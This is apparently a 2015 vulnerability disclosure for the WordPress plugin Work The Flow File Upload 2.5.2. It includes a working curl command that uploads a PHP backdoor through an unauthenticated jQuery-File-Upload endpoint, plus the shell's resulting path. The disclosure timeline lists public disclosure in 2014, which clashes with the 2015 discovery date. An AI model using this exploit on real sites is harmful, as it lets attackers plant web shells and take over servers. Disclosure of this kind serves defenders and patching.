WordPress Plugin Work The Flow File Upload 2.5.2 - Arbitrary File Upload

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# Exploit Title : Wordpress Work the flow file upload 2.5.2 Shell Upload Vulnerability

# Exploit Author : Claudio Viviani


# Software Link : https://downloads.wordpress.org/plugin/work-the-flow-file-upload.2.5.2.zip

# Date : 2015-03-14

# Tested on : Linux BackBox 4.0 / curl 7.35.0

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# Description:

Work the Flow File Upload. Embed Html5 User File Uploads and Workflows into pages and posts. 
Multiple file Drag and Drop upload, Image Gallery display, Reordering and Archiving.
This two in one plugin provides shortcodes to embed front end user file upload capability and / or step by step workflow.

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# Location :  

http://VICTIM/wp-content/plugins/work-the-flow-file-upload/public/assets/jQuery-File-Upload-9.5.0/server/php/index.php


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# PoC:

 curl -k -X POST -F "action=upload" -F "files=@./backdoor.php" http://VICTIM/wp-content/plugins/work-the-flow-file-upload/public/assets/jQuery-File-Upload-9.5.0/server/php/index.php

# Backdoor Location:

 http://VICTIM/wp-content/plugins/work-the-flow-file-upload/public/assets/jQuery-File-Upload-9.5.0/server/php/files/backdoor.php


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# Vulnerability Disclosure Timeline:

2015-03-14:  Discovered vulnerability
2015-04-03:  Vendor Notification
2015-04-03:  Vendor Response/Feedback 
2015-04-04:  Vendor Fix/Patch (2.5.3)
2014-04-04:  Public Disclosure 

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Discovered By : Claudio Viviani
                http://www.homelab.it
				http://ffhd.homelab.it (Free Fuzzy Hashes Database)
				
                [email protected]
                [email protected]

                https://www.facebook.com/homelabit
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                https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

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